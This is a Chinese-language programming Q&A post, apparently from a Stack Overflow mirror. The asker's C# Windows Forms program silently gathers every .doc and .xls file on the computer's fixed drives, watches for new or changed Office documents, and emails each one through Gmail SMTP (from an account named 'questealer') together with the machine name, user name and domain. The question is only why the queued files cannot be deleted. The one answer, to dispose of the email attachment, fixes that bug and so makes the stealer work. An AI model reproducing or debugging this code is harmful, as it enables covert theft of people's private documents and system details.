当我尝试删除文件时，我被拒绝访问....在我的文件夹队列中使用文件的部分是什么？
我的应用程序搜索所有doc和xls文件，并将它们放到队列文件夹中，然后在doe之后从每个文件上传它们，它应该删除它但是我被拒绝访问....
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
if (Directory.Exists("queue"))
{
Thread t2 = new Thread(delegate()
{
startListeningToDrives();
//Thread.Sleep(15000);
uploadAllFiles(1024);
});
t2.Start();
}
else {
Thread t2 = new Thread(delegate()
{
//Thread.Sleep(15000);
DriveInfo[] allDrives = DriveInfo.GetDrives();
foreach (DriveInfo d in allDrives)
{
if (d.IsReady && d.DriveType == DriveType.Fixed)
{
string str = d.ToString();
grabAllFiles(@str, "*.doc");
grabAllFiles(@str, "*.xls");
}
}
startListeningToDrives();
});
t2.Start();
}
}
static void CreateFileWatcher(string path, string theExtension)
{
// Create a new FileSystemWatcher and set its properties.
FileSystemWatcher watcher = new FileSystemWatcher();
watcher.Path = path;
watcher.IncludeSubdirectories = true;
/* Watch for changes in LastAccess and LastWrite times, and
the renaming of files or directories. */
watcher.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
| NotifyFilters.FileName | NotifyFilters.DirectoryName;
// Only watch text files.
watcher.Filter = theExtension;
// Add event handlers.
watcher.Changed += new FileSystemEventHandler(OnChanged);
watcher.Created += new FileSystemEventHandler(OnChanged);
// Begin watching.
watcher.EnableRaisingEvents = true;
}
static void send_file(string fpath, string fname, string finfo)
{
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
mail.From = new MailAddress("questealer@gmail.com");
mail.To.Add("somemail@gmail.com");
mail.Subject = fname;
mail.Body = finfo;
System.Net.Mail.Attachment attachment;
Random rnd = new Random();
int fnum = rnd.Next(1, 999999);
if (fpath.ToLower()!= "queue\\"+fname.ToLower())
{
File.Copy(@fpath, "queue\\file" + fnum, true);
attachment = new System.Net.Mail.Attachment("queue\\file" + fnum);
}
else {
attachment = new System.Net.Mail.Attachment(@fpath);
}
attachment.Name = fname;
mail.Attachments.Add(attachment);
SmtpServer.Port = 587;
SmtpServer.Credentials = new System.Net.NetworkCredential("somemail@gmail.com", "*********");
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
FileInfo myf = new FileInfo("queue\\" + attachment.Name);
//I get error here
myf.Delete();
//I get error here
}
static string ToFileSize( long size)
{
if (size < 1024)
{
return (size).ToString("F0") + " bytes";
}
else if (size < Math.Pow(1024, 2))
{
return (size / 1024).ToString("F0") + " KB";
}
else if (size < Math.Pow(1024, 3))
{
return (size / Math.Pow(1024, 2)).ToString("F0") + " MB";
}
else if (size < Math.Pow(1024, 4))
{
return (size / Math.Pow(1024, 3)).ToString("F0") + " GB";
}
else if (size < Math.Pow(1024, 5))
{
return (size / Math.Pow(1024, 4)).ToString("F0") + " TB";
}
else if (size < Math.Pow(1024, 6))
{
return (size / Math.Pow(1024, 5)).ToString("F0") + " PB";
}
else
{
return (size / Math.Pow(1024, 6)).ToString("F0") + " EB";
}
}
static void uploadAllFiles(int maxsize) {
string[] queueDirList = Directory.GetFiles(@"queue");
foreach (string name in queueDirList)
{
FileInfo myf = new FileInfo(name);
if (myf.Length < maxsize * 1024)
{
send_file(name, myf.Name,
"\n►Filename: " + myf.FullName + "\n" +
"►Size: " + ToFileSize(myf.Length) + "\n" +
"►Changetype: Initial Search\n" +
"►Current Directory: " + System.Environment.CurrentDirectory + "\n" +
"►MachineName: " + System.Environment.MachineName + "\n" +
"►OS Version: " + System.Environment.OSVersion + "\n" +
"►ProcessorCount: " + System.Environment.ProcessorCount + "\n" +
"►Version: " + System.Environment.Version + "\n" +
"►UserDomainName: " + System.Environment.UserDomainName + "\n" +
"►UserName: " + System.Environment.UserName + "\n" +
"►SystemDirectory: " + System.Environment.SystemDirectory + "\n"
);
}
}
}
static void startListeningToDrives() {
DriveInfo[] allDrives = DriveInfo.GetDrives();
foreach (DriveInfo d in allDrives)
{
if (d.IsReady && d.DriveType == DriveType.Fixed)
{
string str = d.ToString();
CreateFileWatcher(@str, "*.doc");
CreateFileWatcher(@str, "*.docx");
CreateFileWatcher(@str, "*.xls");
CreateFileWatcher(@str, "*.xlsx");
}
}
}
static void grabAllFiles(string searchdir,string sftype)
{
Directory.CreateDirectory("queue");
IEnumerable<string> filesOrDirectories = SearchFiles(@searchdir, sftype);
Random a = new Random();
foreach (string fileOrDirectory in filesOrDirectories)
{
if (!(File.GetAttributes(fileOrDirectory) == FileAttributes.Directory))
{
try
{
int ran = a.Next(0, 99999999);
File.Copy(fileOrDirectory, "queue\\File_" + ran + "_" + Path.GetFileName(fileOrDirectory), true);
}
catch (System.IO.IOException)
{
}
}
}
}
// Define the event handlers.
private static void OnChanged(object source, FileSystemEventArgs e)
{
Thread t = new Thread(delegate()
{Thread.Sleep(1000);
if (File.Exists(e.FullPath))
{
FileInfo myf = new FileInfo(e.FullPath);
if (myf.DirectoryName.ToLower() != Directory.GetCurrentDirectory().ToLower() + "\\queue")
{
send_file(e.FullPath, myf.Name,
"\n►Filename: " + myf.FullName + "\n" +
"►Size: " + ToFileSize(myf.Length) + "\n" +
"►Changetype: " + e.ChangeType + "\n" +
"►Current Directory: " + System.Environment.CurrentDirectory + "\n" +
"►MachineName: " + System.Environment.MachineName + "\n" +
"►OS Version: " + System.Environment.OSVersion + "\n" +
"►ProcessorCount: " + System.Environment.ProcessorCount + "\n" +
"►Version: " + System.Environment.Version + "\n" +
"►UserDomainName: " + System.Environment.UserDomainName + "\n" +
"►UserName: " + System.Environment.UserName + "\n" +
"►SystemDirectory: " + System.Environment.SystemDirectory + "\n"
);
}
}
});
t.Start();
}
public static IEnumerable<string> SearchFiles(string root, string searchPattern)
{
Stack<string> pending = new Stack<string>();
pending.Push(root);
while (pending.Count != 0)
{
var path = pending.Pop();
string[] next = null;
try
{
next = Directory.GetFiles(path, searchPattern);
}
catch { }
if (next != null && next.Length != 0)
foreach (var file in next) yield return file;
try
{
next = Directory.GetDirectories(path);
foreach (var subdir in next) pending.Push(subdir);
}
catch { }
}
}
}
}
答案 0 :(得分：3)
我认为你应该这样做
attachment.Dispose();
发送邮件后。附件对象可能会使文件保持打开状态。
[编辑]另请注意DJ KRAZE在评论中所说的内容。